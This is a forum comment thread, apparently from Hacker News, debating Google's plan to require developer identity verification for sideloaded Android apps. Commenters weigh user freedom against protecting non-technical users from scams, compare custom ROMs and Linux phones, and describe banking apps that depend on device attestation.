Right now, it seems to be fairphone or pixel, or old phones which are not easy to obtain. Samsung have announced they will lock their phones, and how long before google locks pixels?
This is political fantasy. There is no mechanism for "the people" to force anyone to roll this back. They can vote for the candidate owned by google, or the candidate owned by google. If they want to find another candidate, they'll have to use google to find one.
A very striking way to illustrate this is to look at the career histories of high government officials even very late into the Soviet Union. The last Minister of Coal, Mikhail Shchadov, was born in a village, worked in a mine, went to mining school for engineering, became head of his mine, and thereafter worked his way up the ranks until he was head of the whole apparatus. This story, not that of inherited wealth or monopolistic oligarchs, dominates the histories of Soviet ministers even very late in the decline of the Union.
Where is the "other set" of oligarchs of which you speak? There is none, which means there is hope for workers who might wish to enact fundamental economic change.
Your definition of class also seems to be very different from a traditional Marxist take -- hereditary systems were mostly seen as a symptom and not the problem itself, and were mostly orthogonal to any understanding of class.
I _hope_ there is hope, but I don't have much confidence that it lies in century old tropes of "rise up and throw off your chains."
So what did they accumulate? Few acquired power for life; none acquired significant wealth, or a power base independent from the party-state. Even after the end of the union, it was not the former nomenklatura who became new oligarchs: by and large it was the security services and their affiliates who were able to feed on the corpse.
You're right to critique how I described class in the previous message, but what I was trying to accumulate was essentially the above. It's not perfect, but I think this is very much a situation where it's important to not let the perfect be the enemy of the good. I would far rather live in a society where my leaders were once workers like me, raised in the same way, and all men were subject to the same basic economic guarantees. What we live in today is the rule of oligarchs, and it'd be a big step up to merely suffer the rule of bureaucrats.
A recent event last year in the US also immediately resulted in actions undertaken whereas peaceful protests did not. Mostly protective actions, but it showed a very clear impact, the contrast was stark.
This has happened before.
But often people try to project their opinions onto "the people" and predict they will rise up, and there's probably 100 predictions in comment sections that are completely spurious to every one that actually happens
So I'm not sure, but if I had to guess this one is a rare case where there may be real prospect of backlash.
The amount of people this makes angry is so minuscule that it probably wouldn’t even pass one of those theatrical “sign this petition to get the government to discuss it” thingy. Mind you, the only reason the whole side-loading court cases were going forward is because a giganormous company (Epic) wanted to make more money instead of paying the Google/Apple tax. Not because some people were angry.
I don't think that's it. The desktop OS situation has historically be similar with 2 major large players and a bunch of insignificant ones.
This comes down to user expectation.
There are two OS platforms for desktop/laptop usage: MacOS Windows
These both contain ways to run arbitrary compiled code from an arbitrary source -- like a computer should. Losing this feature of our smartphones should have everyone concerned.
And they're both working towards taking that away.
For now we have Linux as a 3rd option, but that only exists so long as there's hardware available that'll let you run it. Can easily imagine a near-future where you can only get 'Windows hardware' or 'Apple hardware' and nothing modern that'll boot a 3rd-party OS.
For precedent, Microsoft locked down their own ARM hardware to Windows.
This makes me quite angry, but I guarantee more than 90% of Android users will not be bothered too much about this. Many of them will actually like it, and most of those who don't will just shrug and go on with their day.
The weirdest thing to me is that those people who actually care about this are most likely the ones capable of implementing this shit: developers. Us. Who else but developers (OK, and maybe their enlightened spouses) cares about this? We are digging our own graves, basically.
So, Google devels: refuse this. And tell your willing colleague that they are not welcome at your birthday party if they do it.
If someone made a screenless powerbank-shaped Android device, I might be interested. The device would double as a 5g wifi modem, and to access the UI you'd remote in over VNC from a laptop, or unrestricted mobile device like a PinePhone.
As to the device you mention, it should be possible to take a phone apart and spoof* all of the mic's and cameras, likely the gps, and haptic motor and speakers as well, and have a 5g touch screen modem with plain internet, or keep the speakers and it's a media device, or put all the audio on a micro switch. * use matched resistors, or black out the sensors detach the antena for gps lets just say I realy dont like bieng advertised to
I'm using a tp-link M7000 with 4G, for SMS and wifi modem. A simple http page for send and receive SMS. I use the API to have my ZigBee gear SMS me.
I showed my dumb-phone to my bank and asked if I needed to close my account, suddenly card reader was still available as an option. If it becomes mandatory, they can buy me a phone.
It should not become the rule that we need a spy-phone, or any other BigTech services to take part in society. So I make my life hard work to defend that principle.
Hence I am hacking away with Zig on the PinePhone, since it has some nice hardware switches for switching off modem/GPS mic etc. But the modem itself is still a blackbox, so there will always be trust issues there.
I think that is a yes, it will affect Samsung
Apple implemented a similar change for the EU App Store earlier this year to comply with the Digital Services Act (DSA), a regulation that now requires app developers to provide their “trader status” to submit new apps or app updates for distribution.
That is most apps - but not the kind of apps Google is attacking here (personal-scale, actually-free, third-party, etc.). And "apps that are not monetized" is actually a very nice thing to filter for from a user perspective.
Of course, the world's largest malware vendors love to use government action as an excuse to do something else malicious.
I.e. it doesn't require this at all, it merely requires Google require verification for apps that they themselves distribute. What they've been doing all along until now plus or minus minor bookkeeping details on what data they collect.
For the record, Apple notes that the DSA requirements only impact developers distributing through the App Store, not through alternative distribution [1].
[1]: https://developer.apple.com/help/app-store-connect/manage-co...
If they keep up this "boil the frog slowly" crap though, I may be migrating off of Android and over to a strictly Linux-based phone, like a PinePhone, Librem, etc.
Fuck the scumbags at the top of big tech making decisions like these.
I have no words.. or more precisely, those words are not the kind of words I'm allowed to write here.
> The tech giant stresses that this does not mean developers can’t distribute outside of the Play Store through other app stores or via sideloading — Android will remain open in that regard.
>The Play Store implemented similar requirements in 2023, but Google is now mandating this for all install methods, including third-party app stores and sideloading where you download an APK file from a third-party source.
> I'd bet money they'd just ban them; the whole point is to stop users running unapproved applications on their phones.
I wasn't trying to claim everything is hunky dory, just that they aren't "going to just ban" other app stores.
These big companies need to be broken into a thousand pieces. They’re starting to become the gatekeepers of participating in society.
One doesn't have to be Einstein to realize why governments everywhere haven't cracked down on Big Tech's excesses/privacy breaches etc. ages ago.
You only have to look at the UK/Apple fiasco to see to see how desperate governments have become for user data. In this case the UK Govt. was so desperate for user data it overstepped the mark. (At least until now most other governments have been prepared to sit on the sidelines and just sap Big Tech for user info whenever they want it.)
It’s sad that smartphones now hold so much personal and private data but aren’t really under the control of their users.
It will happen. We've been the frogs boiled in the pot for years, accepting forced attestation. Eventually they'll close off running unsigned code, and the PCs will probably have bootloaders locked to Windows as well, so you can't escape.
They already have a version of that - it's called Windows S Mode (Windows Store apps only, no EXEs or scripts, Edge only for browsing). If they get away with it, they would make it the default. Required Microsoft accounts was a step in that direction.
"You'll need to prove you own your apps by providing your app package name and app signing keys."
That is capital-I Insane.
Someone elsewhere in the thread said this is how F-Droid works, but I can't confirm firsthand.
The only credible explanation I can come up with is that they need the keys in order to produce indistinguishably backdoored versions of applications, handy for tools like signal.
Otherwise one would never think of requesting the private keys-- if google wants to rebuild apps themselves they could sign with their own keys and possessing anyone elses private key is just pure liability as if there is any discovered abuse they can't show that they weren't the vector.
BTW, all the GrapheneOS, etc. are still Android phones.
SailfishOS is pretty nice
I might get one next
https://developer.sony.com/open-source/aosp-on-xperia-open-d...
Basically none of this new restriction will bother me, since I don't run anything but stock AOSP and get all my apps from f-droid repos.
Thanks for the heads up
For anyone else failing to resolve DNS for that domain: https://archive.is/q7w0x
And if what you want is a PDA that runs Linux, there are many options, e.g. https://www.clockworkpi.com/home-uconsole.
The final phase is "AI" monitoring everything you do on your devices. Eventually it won't just be passive, either, but likely active: able to change books you read and audio you listen to on-the-fly without your consent. It will be argued that this ok because the program is "objective".
Android is decades ahead of that in security, functionality, utility, devex, and design. It's a fools errand to try and modernize that, over building on top of AOSP.
Obviously this is going to impact the supply of apps, since the market share of custom Android is smaller than even the market share of people willing to sideload or use an alternative store on a mainstream Android phone. Many developers might quit the game.
It wasn't OK in 2003. It wasn't OK in 2014. It isn't OK now. I'm just not sure what anybody can do about it.
[0] https://www.nytimes.com/2003/06/30/business/technology-a-saf...
I hope my tiny datapoint shows up in some aggregated stats somewhere.
It’s use-it-or-lose-it.
It does require the developer to make minor adjustments, and most banks are simply too risk averse to agree to doing that (I would know, used to be a senior android app dev at a bank).
[0]: https://grapheneos.social/@GrapheneOS/115062761036828110
https://grapheneos.social/@GrapheneOS/115090818389369737
> "GrapheneOS doesn't include Google Mobile Services and the requirements for certification aren't relevant to us."
* Mobile payments
* Navigation
* All manner of IoT devices
* Wearables!
* Digital versions of ID (Mobile Passport Control)
etc.
So no, you can't just use the web.
Same for basically every interaction with locals, for accessing government services, or even just using the public transportation.
It's pretty similar for locals AFAIK.
And before anyone replies that he didn't have to travel there — no, he did, unless he was willing to look for another job (which are very sparse here, you hold on to a good job for dear life).
> Mobile Payments They work with a card, no smartphone required. Moreover, cash didn't cease to exist.
> Navigation Again, physical maps are a thing. Google Maps or OpenStreetMap are accessible by browser. Having a physical map and having to follow road signs can be a beautiful experience. If one is addicted to a machine that tells them where to go, navigators are still a thing (no smartphone required)
>All manner of IoT devices
Don't put an IoT device in your house if you don't know what it does and how it works. If the only way to interface to it is via an app... then you don't know what it does and how it works. Don't put it in your house.
>Wearables
I don't even know what are wearables: if I write it on Firefox it underlines it in red. By doing a quick search, I can see images of watches. Watches can work without an app. Moreover, watches that work without an app are usually less expensive than the other kind.
>Digital versions of ID (Mobile Passport Control)
Don't. I know that some governments are pushing this crap thinking it's the future. Simply don't. Imagine you're at the airport and you accidentally drop your passport. You pick it up, nothing lost. Imagine you drop your phone and it stops working. You lost:
- Your documents - Your money (if you rely on your phone for paying and don't have cash with you, which seems a growing trend among people I know) - All your ways to contact people for help
Instead:
- Your wallet is stolen: you lost all your money and your cards, but you have your documents (at least the passport because it surely does not fit a wallet). - Your phone is stolen: you lost all the ways to contact people, but you can buy another one - Your passport is stolen: you can contact your embassy.
Smartphones are becoming a SPOF (Single Point Of Failure) for our lives.
Are you for real? I'm totally on board with using free and open alternatives, but if you're not going on a mountain trail then a physical map is going to be drastically worse than any navigation software.
Also FWIW I have a card-sized passport that I can easily get stolen with my wallet.
But for navigation... I use a mixture between physical maps and directions and online data. Specifically, before departure, I simply use OpenStreetMap to look at the route. If the route is very long I know I will be traveling by highways, so I rely on noting down only some keypoints. Then at the end of the route (near the destination), where I know I will get lost, I screenshot the map and I print it out (or have it on my laptop, it depends).
This concept originated in China and is spreading. Beware.
in all things. I would encourage you and everyone who reads this post to stare down this option with realistic consideration. In a society this broken, it is the solution to more and more things. To checkout, to accept the hard mode because to pick the path of convenience is to be exploited.
Again, and again, and again.
What else are you growing?
A locked-down Android is pointless.
I make relatively decent money by our standards, and I wouldn't even think about dropping $700-1000 on a phone (which isn't even officially sold or supported over here). For the vast majority of people it's their whole income over 2-4 months. I don't know or care how much you make, let's say it's $10k per month. Imagine if you had to pay $20-40k for a phone which is good for maybe 5-8 years.
And most of the world is like that.
At this point, I believe the most effective ways one can help with this is:
(1) advocacy - it's slow and difficult, but having people at least agree / be familiar with the idea that closed stuff is bad is a good first step.
Open ecosystems can't work for the general public if it's trapped in closed networks that won't work on anything else than the two big mobile operating systems, so making people start using open chat apps and such will help a lot. It'll take years, but so be it. It's worth it I think.
(2) helping improve the more open stuff.
I think Linux mobile for instance is a potentially viable alternative in the medium term for at least the basic use cases: Calls, SMS, GPS / Maps, Signal, photos. All this has no reason not to work with some polish. I daily drove Linux mobile 4 years ago for a year. The main thing I'm missing is good hardware for it, and a lot of polish but nothing impossible. Yeah, indeed, no payment with the phone (Google Pay / Apple Pay). But it's still possible to use the physical cards and not use the phone for this.
I don't own a smartphone and I am happy as ever. I used to own one a while back, but it wasn't worth the effort and the rage when it was slow.
If a service can be accessed only with a smartphone, I complain (which is of little use).
I admit, though, that being forced to RE a f**ing android app just to do banking is grounds to change the aforementioned bank. Isn't there any other alternative in Singapore?
Banking apps, messaging apps, streaming apps, even video games all want locked down devices. They will use hardware cryptography to discriminate against us and refuse service if they can't cryprographically prove we're using a corporate owned device.
Naughty user. Looks like you've been tampering with your device, installing unauthorized software and whatnot. Only money laundering drug trafficking child molesting terrorists do that. I'm gonna have to deny your request to log you into your bank account.
What a fucking joke.
This is absolutely unacceptable. That's like you having to submit your personal details to Microsoft in order to just run a program on Windows. Absolutely nuts and it will not go as they think it will.
Currently the entire ecosystem is riddled with malware, spyware, or adware with shady source information and people have no way to verify the data practices
One of those would be in corrupt countries you don’t have the „trusted 3rd party”
Code-signing certs used to be very expensive and annoying to obtain. The situation has improved a lot since the launch of Azure Trusted Signing, and now it's roughly on par with the cost and annoyance level of code-signing for Mac binaries.
My understanding of the article is that there is nothing that a user will be able to do to install your software.
> “developers [that we approve] will have the same freedom to distribute their apps directly to users through [installation] or to use any app store they prefer.”
So, less freedom.
Yes, I've cherry picked from the minority of countries with near or over half iOS market share. But, they're all high GDP countries with a very valuable customer base. Apple and Google care about these markets, they don't care about global market share.
[1] https://gs.statcounter.com/os-market-share/mobile/australia [2] https://gs.statcounter.com/os-market-share/mobile/united-sta... [3] https://gs.statcounter.com/vendor-market-share/mobile/united... [4] https://gs.statcounter.com/os-market-share/mobile/japan [5] https://gs.statcounter.com/vendor-market-share/mobile/canada [6] https://gs.statcounter.com/os-market-share/mobile/denmark [7] https://gs.statcounter.com/os-market-share/mobile/switzerlan... [8] https://gs.statcounter.com/os-market-share/mobile/sweden
lets that sink it on how hard to make ecosystem
To meaningfully challenge it, developers need to agree to withheld supply like a cartel (illegal?) or union.
I think it’s probably close to the union scenario in an industry with a single employer, as there is that one too many relationship (all developers vs Google). Whereas a cartel is a few suppliers conspiring against all consumers.
I’m not sure developers would go to those lengths, and I’m not sure it would work either as the benefit is too high from defecting from such a coalition.
So yeah, its different and more aecure
Apple will disagree and the first company doing worst than this, and is the world's first trillion dollars company.
Money talks.
How will it go? Where are people going to go? People who draw a hard line on this can’t go to iOS for more freedom. Linux phones aren’t ready for prime time. So what’s left? Going back to a flip phone that doesn’t even have the capability of running apps in the same class?
It could also make jailbreaking more commonplace, which on the Android side has died down in recent years because sideloading is enough for most users.
I don't think the average user feels like they are really missing anything, which makes it a hard sell.
I definitely fly less now, because I am tired of the Orwellian circus at the airports. I guess same mechanism will reduce my smartphone use
we need more OEM unlockable phones, though. GOS is looking at getting one made, I'm planning to throw money at them to make it happen.
It's the implementation that OEMs used to support VoLTE isn't compatible with AOSP APIs.
If it wasn't for Google here you'd never have VoLTE on custom ROMs, if it exists in any shape or form it's thanks to them.
And maybe a separate one to root while they still can be.
Or a f.u.Google step. I'll despise the straight-jacketing of Apple but my anger about Google's dick-move will keep me going.
This isn't even going to be some sort of an ideological decision. It's simply the intelligent choice.
Installer software signing certificates that will satisfy MS are prohibitively expensive for hobbyists (hundreds per year).
If fact, the reason why MS can charge for "nearly mandatory" executable signing is because it is not mandatory at all. If they really were forced to close loopholes, they would have made it free for everyone, — just like Let's Encrypt was made free of charge to establish mandatory encryption across the Web.
It's a step of questionable utility, and I suspect it comes from requirements of (not exactly freedom-loving) governments of Brazil, Malaysia, and Singapore, where the demand for registration will be enforced first. Maybe it will even remain geographically limited.
The article is very light on details. Crucially, it lacks any links to actual Google documents.
Yes, which is why it's bad.
Cutting through the excuses, this is just another step in converting the US from a democracy to a fascist dictatorship.
Want to write software?
Papers please.
The US considers airports “constitution free zones”
Corporations are reading the room and pulling out any hostile tactic they've kept in their back pocket waiting for an occasion like this.
This is only the beginning with digital IDs. It's absolutely going to get worse and all of human history is available as evidence to what occurs with unchecked power.
It looks like pattern there is that a some powerful guy or company just removes rights and freedoms we had by small pieces. Those small pieces are not worth to fight for, until frog is boiled alive.
Yes, you can turn off smartscreen (for now) but opening random executables is getting harder and harder.
Starts with scary warnings for unsigned apps (with a workaround), then they start imposing extra restrictions for unsigned apps, and then they make the SmartScreen workaround more difficult to enable (maybe it needs a registry edit), then they'll remove that workaround in certain markets/editions (maybe the Home version first). Finally they'll remove it everywhere.
imagine microsoft having the moral high ground for once
Isn't this a death knell for F-Droid, at least for running on most hardware? Since they require their own builds/attestation?
The Overton Window for computing keeps inching towards gatekeepers having total control over devices. I can't help but imagine myself lurching along on the last somewhat open hardware I can cobble together in a couple of decades, because I refuse to drink the verification can to continue...
Custom roms would be more popular if every app dev and Google weren't doing everything in their power to make their software not work on custom roms.
That's intentional. It didn't used to be that way.
At least one can dream.
Most Android users choose that ecosystem due to the price point, as most of the world can not afford iPhones (even second hand ones).
Only a tiny fraction of the billions of Android users out there, chose it for its more open aspects.
I think they might just get away with it.
The intentions behind all the security hardware they introduced in pixel phones first, and is now required by play integrity to function might've been well-meaning, but that doesn't really matter in the end. Security features that the user can't control and bypass aren't security features - they're digital handcuffs.
I'm not sure Google still has the ecosystem by the balls. It's very possible whatever Googlers who made this decision are the type of folks who don't comprehend they work for a monopoly that like actually can't do things like this anymore.
If they have anything on the platform that is subject to the CRA, they are a distributer:
https://www.cyberresilienceact.eu/cra-guide-for-importers-di...
You can try it, but don't cry if it bricks.
The newish one I bought got GrapheneOS instead. That worked without a hitch, but it's got more than a few problems.
The browser doesn't handle dark mode well.
The launcher is primitive. Why didn't they just take Trebuchet?
I was also very used to pattern unlock.
Use some other browser if dark mode is really important to you.
I think the launcher is good and I can't think of anything to improve on it. I'm happy it's the default, but I'm sure you can switch to a different launcher if you want.
Pattern unlock is also not there because of security.
It didn't used to be like this but started maybe a year ago.
I'm currently researching Android alternatives, including Librem and Jolla C2, and I'm skeptical that those will be compelling. It's just so sad.
But not every developer, of course, would agree to register.
All of those will disappear also on F-Droid because of that.
I think we tend to underestimate our ability to get used to stuff.
Samsung recently stopped allowing the bootloader unlocking. HTC stopped allowing bootloader unlocking in 2018.
My bet is on Nothingphone or Fairphone remaining open for a while.
Use an iPhone, minimize my use of it. Continue to emphasize Linux on all my other devices. Move away from Google and Apple services to as much self-hosting as possible. Leverage TailScale to make my services accessible, globally, without actually exposing them on the internet. I'm just assuming that I will have to have some kind of attested device in order to run banking and payment apps and that might as well be a locked down device like an iPhone.
In Brazil? In Malaysia? In Singapore? I highly doubt it.
That's if they're available at all. In my country, only cell phones certified by the telecommunications government agency (ANATEL) can be imported, so the alternatives (Jolla, PinePhone, Fairphone) simply don't exist.
They do marvellous things like mandate weird Brazilian Android games on the phone I bought in Brazil.
Atlanta or Tbilisi?
Maybe I think too highly of people, but I'd also imagine most would be able to get say... 6/10 right, for which countries the following list is from:
- Flanders
- Nova Scotia
- Brandenburg
- Guangzhou
- Tasmania
- Minas Gerais
- Catalonia
- Chechnya
- West Bengal
- Bali
Uhm, this sounds more like something from the Ministry of Culture, maybe some tax incentive for manufacturers promoting local productions.
I could be wrong though. Curious to know if Anatel has issued any ordinance in this regard, just did a quick search but could find nothing so far.
People that think this is unacceptable are not remotely average users. Average users benefit greatly from their pocket appliance not being a full fledged computer.
In what way? Seriously, what benefit is there? (And don't say security...)
The world would be a much better place if we only had calls and direct messages.
> you have been infected by 3 viruses, click here in the next 5 minutes or the damage will be permanent
And they believe it. Giving them the power to run any software they want, also means giving everyone else the power to make them run any software they can be tricked into installing.
I'm deeply concerned about how this will impact users like us, especially since we're such a small minority that our desires could easily be trampled by the masses, but this is a clear win for the average user.
(And don't make the perfectionist fallacy w.r.t. Google not successfully preventing 100% of malware)
Two reasons: they are not educated about devices they use, desktop operating systems are still awful at security (exe from a mail attachment can have a pdf looking thumbnail, executed with two clicks, even if accidental, immediately gets access to all user files... the whole concept of antivirus software...). It has nothing to do with side loading, especially on Android, where sideloading is a very explicit action already, and then you need to allow the application to do harm.
> Giving them the power to run any software they want, also means giving everyone else the power to make them run any software they can be tricked into installing.
You are taking away people's agency. Either you get to control your bank account risking that you get scammed, or someone will control it for you.
So the email they get which tells them about the 3 viruses also contains a phone number where a "nice tech support person" will walk them through the steps of side-loading the "anti-virus app". You'd be surprised at what warnings/permission boxes people will blindly accept when they think they're talking to someone from Microsoft or Google's tech support.
> You are taking away people's agency.
Agency they don't want and never use. It's taking away agency from people like us but for the average user, Google is taking away nothing they've ever cared about.
> Either you get to control your bank account risking that you get scammed, or someone will control it for you.
I was just saying a couple of days ago that we need a service for old people where any transaction above a certain configurable threshold (for example, $500 in a day) has to be approved by an employee of this service who serves as a neutral 3rd party whose sole function is to try to prevent scams. That way the old folks would still have their agency so they can go out and buy all the hot-rods and transistor radios they want but if they're about to wire money to "Microsoft" then the anti-scam-company would step in and prevent that transaction (or at least require the old person have a discussion about why its an obvious scam first before eventually allowing the transaction through depending on the client).
Whether this change actually takes control away from us remains to be seen. For example, I don't see anything in the article that suggests we wouldn't be able to install a custom ROM with the signature check removed. Personally, I already run GrapheneOS so I expect I actually won't be impacted by this at all.
But I know they do, I've seen this first hand. It's lack of education (except for extreme cases of people who cannot take care of themselves. but that's not the majority)
> Agency they don't want and never use. It's taking away agency from people like us but for the average user, Google is taking away nothing they've ever cared about.
It's agency they don't know they want, until it suddenly becomes useful. I'm not expecting everyone to use side-loaded, unapproved apps every day, it's about keeping OS vendors in check, about limiting their power over devices they don't own. If they act against users, there should be a way to circumvent them. Such ideas take that away.
> I was just saying a couple of days ago that we need a service for old people where any transaction above a certain configurable threshold (for example, $500 in a day) has to be approved by an employee of this service who serves as a neutral 3rd party whose sole function is to try to prevent scams.
Enabling such a service is a choice they would have to make. The default is control. The situation with all side loading restrictions is opposite - you don't get to choose.
Unless you are suggesting that such service should be forced on people that match some vague "old" criteria. Our disagreement goes far besides technology in that case.
Saying "the users need to be educated" doesn't solve anything. Google could start an education campaign tomorrow and it would be ignored by most of the people that need it. If they were interested in learning then we wouldn't have this problem.
> If they act against users, there should be a way to circumvent them
Then install a custom rom. All the power you want is already available, just no longer on the official android builds. Seems silly to demand Google screw over the majority of their customers because you don't want to install a custom rom.
> The situation with all side loading restrictions is opposite - you don't get to choose.
On the contrary, you choose when you purchase your phone. If you don't like it, purchase a phone that caters to users like us. There's the librem5 which I sadly own but that phone is a joke (but tolerable if the android landscape starts looking too much like Apple). I've heard good things about the pinephone but personally I'm never touching anything that comes out of pine64 again after the disastrous pinebook pro. I love the idea behind the FairPhone but the security on that device is a joke. I'm hoping the GrapheneOS people launch a decent phone.
Of course just saying it doesn't fix anything.
I don't want Google or Apple or any other vendor to do any education campaigns (and they clearly don't even want to try), part of my point is that the issue is too deep to be solved by such technological measures. For example, not skipping such warnings (includes invalid/expired certificates in https) and basic cyber hygiene should be taught in schools. There should be more public campaigns about these issues.
So I'm not even sure if Google should be fixing that particular problem (although I can guess why they are really eager to "solve" it this particular way). I would rather they focused even more on a stronger sandbox, making sure system software on licensed phones has no vulnerabilities and making sure the users understand what power they give to an application, than pretend that this fixes much. Sideloading restrictions only barely (because it's not like they are actually going to verify the applications, nothing about that in the post) plug one way to scam people remotely, over many, many other more severe ways. The banks in many countries don't even properly verify identity of people they give loans to, why not focus on that instead? (Yes, Google won't fix this, I'm not asking them to, they shouldn't try.)
We lose more than we gain.
> Then install a custom rom. All the power you want is already available
On most phones it's not, but that's besides my point.
> Seems silly to demand Google screw over the majority of their customers because you don't want to install a custom rom.
I'm not demanding Google to screw over anyone, and the current "sideloading" situation does not screw over anyone. I just believe that the vendors should not have the sole power to decide what applications can be installed on devices they don't own. Maybe let's have multiple certification authorities besides Google, like with TLS, as a start/compromise? I see the point of actually having an expert verify if an application is legitimate, and this isn't even it.
> On the contrary, you choose when you purchase your phone.
That choice should not be made when the phone is purchased.
And also I'm not talking about what I want to do with my phone, I'm talking about what I believe people should be able to do with their phones - for example they should be able to opt out of such protections if they don't want them (and leave them on if they want them), or choose who verifies their applications. Only possible if they know what the protections do and what the risks are, going back to what I wrote about education.
In the short term, yes. In the long term, it means Google can ban any app it doesn't like, and it means governments can compel it to do so.
Governments being able to ban software without easy workarounds could have far-reaching consequences affecting people who don't even use the software in question. This is a Bad Thing even if it helps keep a few people from getting scammed.
People who think this is unacceptable are the people who 1) understand what it is, 2) don't stand to profit from it, and 3) don't dream about locking average users into an ecosystem that they control some day.
What's being sacrificed in the name of security is not worth it imo.
Enabling side loading on android is not a standard setting you can flick on. Is there any data on the number of devices who have this enabled and are falling for hacked apps?
Why, though?
There's certainly no technical reason that a pocket appliance can't be a full fledged computer. The primary reason it isn't is because device manufacturers benefit greatly from having a tight control over their products. This is not unique to mobile devices; we see the same trend of desktop operating systems becoming increasingly user hostile as well.
The claim that these features are in the best interest of users is an inane excuse. Operating systems can certainly give users the freedom to use their devices to their full capabilities, without sacrificing their security or privacy. There are many ways that Google could implement this that doesn't involve being the global authority over which apps users are allowed to install. But, of course, they are in the advertising business, where all data that can be collected, must be collected.
Fundamentally, it is a trust issue. Why should I be forced to trust Google or Apple has my best interests in mind (they don't)? That is not ensuring 'device integrity', it's ensuring that I am at the whims of a corporation which doesn't care about me and will leverage what it can to extract as much blood as it can from me. You can ensure 'device integrity' without putting any permanent trust in Google or Apple.
You are not.
It's certainly convenient in this modern world to pay for and use one of their devices though.
Considering market forces are against it, I believe the only practical way to accomplish this in the long term is for this to be a right that is enforced by legislation. I don't think it is even far from precedent surrounding first sale doctrine and things like Magnuson-Moss, that the user should be the ultimate one in control post-purchase, it just takes a different shape when we're talking about computing technology.
No one is forcing you to buy a particular device.
True. But society in practice requires a smartphone with one of two operating systems to live a normal life without significant efficiency losses in your day. Now all phones with both of those will be completely walled off. You'll be forced to participate or make your life a lot less convenient.
Surely you wouldn't defend absolutely anything happening to say roads just because you're not forced to drive, technically speaking?
Limitations because it's not just protection - you don't get to choose which authorities you trust. Defaulting to manufacturer/OS vendor as the default authority would be ok, but there is no option to choose. Users have no power over their own device. That's not ok even if most choose to never execute it or don't know about it, it will lead to abuse of power.
I do think it is in everyone's interest to be able to run software of your choosing on hardware you bought to own. The manufacturer needn't make it easy (my microwave sure didn't expect to install extra software packages; I don't expect them to open up an interface for this) but they also don't need to actively block the device owner from doing it
Android's value was always in being the open(ish) alternative. When we lose that choice and the whole world adopts one philosophy, the ecosystem becomes brittle.
We saw this with the Bell monopoly, which held up telephone innovation for three quarters of a century.
In the short term, some users are safer. In the medium term, all users suffer from the lack of competition and innovation that a duopoly of walled gardens will create.
Right until their devices start to act against their will.
The device integrity is are talking about it integral only to Google and Apple. Not to you.
Now, that may happen anyway, but they'll give up a TON to avoid that.
Me, I try to avoid using my phone for anything important, use a VPN under Linux at home whenever possible, ad blockers, privacy guard, etc, etc. I can't expect my non-technical family members to do that.
Bad car analogy coming up: MOST drivers benefit more from ABS than the few really, really good race car drivers who can do threshold braking and outbrake ABS - and even then, I doubt it's true for anything but the earliest ABS systems. I'll bet the newest ABS systems are better than almost any human - because they don't have an off day, don't get distracted, etc.
And I get the anger - I'm an old school Atari 800xl / ST / DOS / Linux user who tries to ditch Windows where possible. Restricting things seems heavy-handed - and I don't trust Google in the least. But I would NEVER tell anyone in my family to sideload an app, even though they're all Android users - I don't want that support burden.
I'm all for code signing and integrity verification. We need both technologies on pretty much all devices.
You are just conflating two different issues - side loading has nothing to do with device integrity.
Nowhere does that require you to go and get a DUNS number, which is onerous for a single developer to do without the infrastructure of a company.
Which is exactly the same policy as Apple.
Over the years, it seems Google has been trying to have their cake and eat it too, by basically subsuming others to use Android through this appeal of a more free and open operating system ecosystem, but have tried to slowly close and close it down now that it has won the other half of the market on that promise.
This feels more sly, because it's kind of a bait and switch. Apple never made such claim and was always upfront, so while I don't like it, I never bought into it in the first place for them to have the rug pulled under me after giving them my money as Google might be doing.
Google Play is not open source. You're still free to sideload on phone that use vanilla open-source android like the Fairphone.
It seems kind of odd to me to rely on some kind of external hidden "credit agency"-style company for this? And why would DUNS want to know about some kid in their basement in Bangledesh making (non-malicious) apps, and why would the kid want Dun & Bradstreet to know about them? It makes no sense at all.
Youc an see the zeitgeist forming around corporations wanting to lock out any small unlicensed company from working on phones.
The key is mostly fascism in the guise of "security". Witness stuff like the ICE tracker app. Google would love a way to freeze out both it's appearance on the app store and any developer who'd program similar.
It's not that the identity prevents malware/abuse, but publishing any malware to the store burns the identity and establishing another is harder than simply coming up with a new email address. It's not necessarily the best scheme out of there, but it makes sense given their apparent goal.
> Starting next year, Google will begin to verify the identities of developers distributing their apps on Android devices, not just those who distribute via the Play Store.
Odd little phrase, "distributing their apps on Android devices".
I think "distributing" in this context is in the sense of product distribution, not in the sense of distributed systems.
But "distributing...on" sounds a little odd, like Google is still providing a distribution service. (Contrary to all the precedent of how we've thought of installing software, other than the proprietary, captive-user app stores.)
And so, maybe "distributing...on" makes it sound more like Google is (once again) entitled to gatekeep what you can run on your device/computer.
> However, developers who appreciated the anonymity of alternative distribution methods will no longer have that option. Google says this will help to cut down on bad actors who hide their identity to distribute malware, commit financial fraud, or steal users’ personal data.
Maybe it's not "developers who appreciated the anonymity" (which we immediately try to conflate with bad actors), but that the whole point lately has been to stop the greedy proprietary lock-in app store monopolies, and not have them gatekeeping what everyone else can do.
Is anyone working on fixing this? We can do so much better.
The entire developer experience was fantastic and the thing that killed it was a lack of desire from the upper leadership when it felt like they couldn't compete with the duopoly.
Did you have a wince app? Too bad, throw away all that and rebuild for wp7.
Do you want do anything useful? Actually, you better wait for wp7.5.
Oh look, we have a totally new thing with WP8. Upgrade to the newest framework so you can use the WP8 features... Oh, but you still need to build for the old framework for WP7. Hey, how about WP8.1, kind of the same deal.
My personal favorite though was WM10; you now need to build a Universal app that only runs on the very small number of WM10 phones... If you want to run on WP7 and WP8 which still have more sales, a universal app doesn't run there. Also, even though we said WP8 phones would be able to upgrade, either we changed our mind, or the experience is so bad most people won't. And the cherry on top... Users who upgrade from 8 to 10 might need to delete and reinstall the app, otherwise it will just show the loading dots.
Did we mention, we decided we didn't need engineers in Test in the run up to WM10? Couldn't possibly be why the release was terrible.
If they start selling their own devices, I will buy one and (assuming it turns out how I hope it will) recommend it strongly.
I do see five banking apps I use listed there as working, which is great. But -- and maybe I'm being unnecessarily overly worried about this -- what about the future? What if I've been using Graphene for a year or two, and one of the ones that's critical for me changes how they operate, and Graphene no longer passes muster as a platform it will run on. I'm not afraid of this happening at all running Google's stock OS image, but once I do my own thing, I get to keep the pieces when it breaks.
There is also an alternative for now, but nothing as simple as SMS or authenticator app. They give you a special credit card shaped card with a card reader that you can use to authenticate with using your PIN, which is mostly considered legacy now with the bank app. It's also not realistic to be carrying this thing around everywhere either as it's bigger than my phone.
There is also a national ID app that is used everywhere that I'm worried will stop working on GrapheneOS... Because without it I won't even be able to access online government services like healthcare, taxes, etc.
Which bank?
